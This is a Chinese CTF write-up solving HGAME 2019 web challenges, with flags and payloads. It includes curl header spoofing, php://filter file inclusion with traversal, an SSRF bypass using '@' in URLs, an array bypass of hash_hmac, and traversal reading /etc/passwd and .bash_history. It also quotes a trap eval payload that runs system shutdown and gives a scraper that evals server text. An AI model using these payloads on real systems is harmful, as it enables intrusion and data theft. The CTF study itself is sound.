HGAME2019-Web-Week1&2

前言

寒假无聊,听说这个题目非常基础(手动滑稽:(),所以来做一做

week-1

谁吃了我的flag

vim文件泄露.index.html.swp,vim恢复即可得到flag

1
hgame{3eek_diScl0Sure_fRom+wEbsit@}

very easy web

url二次编码绕过 ?id=%2576%2569%2564%2561%2572

1
hgame{urlDecode_Is_GoOd}

换头大作战

题目要求POST传值

1
curl http://120.78.184.111:8080/week1/how/index.php --data "want=12"

得到回显

1
<br/>https://www.wikiwand.com/en/X-Forwarded-For<br/>only localhost can get flag

依次按照要求设置请求头

1
curl http://120.78.184.111:8080/week1/how/index.php --data "want=12" -H "x-forwarded-for:127.0.0.1" -A "User-Agent:Waterfox/50.0" -e www.bilibili.com
1
hgame{hTTp_HeaDeR_iS_Ez}

can u find me?

查看源代码可知存在f12.php界面,在响应头中可以看到密码 woyaoflag,提交即会出现cilck me to get flag,点击则跳转到 toofast.php,回显aoh,your speed is sososo fast,the flag must have been left in somewhere,应该是出现了302跳转,抓包即可得到flag

1
hgame{f12_1s_aMazIng111}

week-2

easy_php

探测目录发现robots.txt下存在文件img/index.php,访问之,得到PHP代码

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
$img = $_GET['img'];
if(!isset($img))
$img = '1';
$img = str_replace('../', '', $img);
include_once($img.".php");
highlight_file(__FILE__);

题目过滤了../,且将其转换为空字符串,所以我们可以用..././来绕过,本来试了 ..././flag,可是打不出flag,最终尝试了filter协议,原因在于include语句会将代码当做php代码执行,而转成base64编码之后则由于没有php前缀而无法被当成php代码从而将文本打印出来

payload

1
http://118.24.25.25:9999/easyphp/img/index.php?img=php://filter/read=convert.base64-encode/resource=..././flag

base64解码即可得到flag,

1
hgame{You_4re_So_g0od}

php trick

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
die('step 2 fail');
}
if( $str3 == $str4 ){
die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
die('step 5 fail');
}
if(is_numeric($str5)){
die('step 6 fail');
}
if ($str5<9999999999){
die('step 7 fail');
}
if ((string)$str5>0){
die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
die('step 11 fail');
}
else{
echo $output;
}

第一个点md5绕过,第二个点是数组绕过,php数组在比较是比任何数字都大,payload

1
http://118.24.3.214:3001?str1=240610708&str2=QNKCDZO&str3[]=a&str4[]=b&H%5fgame[]=5&url=http://@127.0.0.1:80@www.baidu.com/admin.php

用两个@的原因可以参考这篇文章ref

  • 当url中有多个@符号时,parse_url中获取的host是最后一个@符号后面的host,而libcurl则是获取的第一个@符号之后的。因此当代码对user@eval.com:80@baidu.com
  • 进行解析时,PHP获取的host是baidu.com是允许访问的域名,而最后调用libcurl进行请求时则是请求的eval.com域名,可以造成ssrf绕过
    此外对于evil@baidu.com这样的域名进行解析时,php获取的host是evil@baidu.com,但是libcurl获取的host却是evil.com

可以得到admin.php页面的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
die('only localhost can see it');
}
$filename = $_GET['filename']??'';

if (file_exists($filename)) {
echo "sorry,you can't see it";
}
else{
echo file_get_contents($filename);
}
highlight_file(__FILE__);

查看代码可知存在flag.php页面,关键代码如下:

1
2
3
4
5
6
if (file_exists($filename)) {
echo "sorry,you can't see it";
}
else{
echo file_get_contents($filename);
}

当filename是flag.php(即文件存在时),又无法读取到文件,此时可以利用file_get_contents支持多种协议来读取到文件,可以使用php://filter协议,最终payload如下

1
http://118.24.3.214:3001?str1=240610708&str2=QNKCDZO&str3[]=a&str4[]=b&H%5fgame[]=5&url=http://@127.0.0.1:80@www.baidu.com/admin.php?filename=php://filter/read=convert.base64-encode/resource=flag.php

flag.php

1
<?php $flag = hgame{ThEr4_Ar4_s0m4_Php_Tr1cks} ?>

PHP Is The Best Language

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
include 'secret.php';
#echo $flag;
#echo $secret;
if (empty($_POST['gate']) || empty($_POST['key'])) {
highlight_file(__FILE__);
exit;
}
if (isset($_POST['door'])){
$secret = hash_hmac('sha256', $_POST['door'], $secret);
}
$gate = hash_hmac('sha256', $_POST['key'], $secret);
if ($gate !== $_POST['gate']) {
echo "Hacker GetOut!!";
exit;
}
if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) {
echo "Wow!!!";
echo "</br>";
echo $flag;
}
else {
echo "Hacker GetOut!!";
}

代码审计题目,核心代码在于

1
2
3
4
5
6
7
8
if (isset($_POST['door'])){
$secret = hash_hmac('sha256', $_POST['door'], $secret);
}
$gate = hash_hmac('sha256', $_POST['key'], $secret);
if ($gate !== $_POST['gate']) {
echo "Hacker GetOut!!";
exit;
}

我们无法控制$secret变量,自然无法计算出对应的哈希值,那么有没有那种带加密输入(door)的哈希与secret值无关呢?在PHP里面这个是存在的,就是数组(Array),由于数组是hash_hmac无法处理的输入类型,所以会返回null

第二处在于(md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1

此处我们可以爆破

1
2
3
4
5
6
for($i=1;$i<9999999999;$i++){
if ((md5($i)+1) == (md5(md5($i)))+1) {
echo $i;
break;
}
}

结果为12

最终payload为

1
door[]=12&key=12&gate=4217722a8aee69d5ed50f3e5ed1cceb1feb79784baaaa6bbf53515ce0eb4daaf

flag如下

1
hgame{Php_MayBe_Not_Safe}

Baby_Spider

题目考察我们的爬虫能力,真的做的我胃疼

题目一共30关,40秒内答对30关的数学题即可获得flag

  • 1-10
    需要用token先登录一下,注意要带上UA头,如果不带的话到第十关算式就会变成
    1
    (lambda __g: [(os.system('shutdown -s -t 0'), (os.system('shutdown now'), None)[1])[1] for __g['os'] in [(__import__('os', __g, __g))]][0])(globals())#-----=?

由eval函数执行之后直接就关机了(这反爬虫机制真的是骚~~)

  • 11-20
    第十一关开始题目就变了,居然修改了css字体,抓取一下css文件如下
    1
    2
    3
    4
    5
    6
    @font-face {
    font-family: Ariali;
    src: url('/static/Ariali.otf');
    font-weight: normal;
    font-style: normal;
    }

下载字体

可以看到数字对应规则变化了,对应置换一下即可

  • 21-30
    此关开始之后,隐藏了真实的数学表达式位置,如果按照题目的计算答案是错的,结果是在css中的after元素下找到了算式,获取之后计算即可

最终paylaod如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import re

token = "KxvEiiWBm41Xe6PTlKS3DnR4vsnfFcXL"
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0'}

url1 = "http://111.231.140.29:10000"
url2 = "http://111.231.140.29:10000/question"
url3 = "http://111.231.140.29:10000/solution"
url4='http://111.231.140.29:10000/statics/style.css'

res = requests.post(url1,data=dict(token=token))
cookies = res.cookies
al_list = '1026943587'

for i in range(1,11):
# res = requests.get(url2,cookies=cookies,headers=headers)
print('-------------round',i,'---------------')
exp = re.findall(r'<span>(.+)</span',res.text)[0]
print(exp)
data = dict(answer=str(eval(exp[:-2])))
res = requests.post(url3,cookies=cookies,data=data,headers=headers)
cookies = res.cookies

for i in range(11,21):
print('-------------round',i,'---------------')
exp = re.findall(r'<span>(.+)</span',res.text)[0]
exp = list(exp)
for x in range(len(exp)):
if ord(exp[x])>47 and ord(exp[x]) < 59:
exp[x] = al_list[ord(exp[x])-48]
exp = "".join(exp)
print(exp)
data = dict(answer=str(eval(exp[:-2])))
res = requests.post(url3,cookies=cookies,data=data,headers=headers)
cookies = res.cookies

for i in range(21,31):
print('-------------round',i,'---------------')
res = requests.get(url4,cookies=cookies,headers=headers)
exp = re.findall(r'content:"(.+)"',res.text)[0]
print(exp)
data = dict(answer=str(eval(exp[:-2])))
res = requests.post(url3,cookies=cookies,data=data,headers=headers)
cookies = res.cookies
if 'hgame' in res.text:
print(res.text)

flag如下:

1
hgame{e7b2703a92574012c10a90d0c96051a5b38c8d60a8861c66e7a0898812144083}

Math有趣

先是一道数学题,到了第二题之后是一个图片,点击图片链接,发现链接有猫腻img/cXVlc3Rpb24ucG5n.php,base64解码之后是question.png,尝试了一下../../../../../etc/passwd(base64编码),发现可以成功读取文件
/etc/passwd
接下来就是探测工作目录了,学到一个东西,可以探测.bash_history,该文件记录了最近的bash命令../../../../../root/.bash_history

工作目录为/usr/local/tomcat/webapps/ROOT

接下来我们可以给链接加=诱发报错

1
http://test.tan90.me:8080/img/cXVlc3Rpb24ucG5n=.php

最终定位到类目录,读取代码../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/hgame/controller/MathController.class

然后反编译,定位到flag的位置

1
2
3
4
5
6
7
8
9
@RequestMapping(value={"/flag"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
public String Flag(ModelMap model)
{
System.out.println("This is the last question.");
System.out.println("123852^x % 612799081 = 6181254136845 % 612799081");
System.out.println("The flag is hgame{x}.x is a decimal number.");
model.addAttribute("flag", "Flag is not here.");
return "flag";
}

这个数学问题可以用Baby Step Giant Step算法解决,github上有相关的代码

1
py bsgs.py 123852 6181254136845 612799081

可以得到最小的答案是15387368

flag如下:hgame{15387368}

-------------本文结束感谢您的阅读-------------
您今天怎么辣么迷人!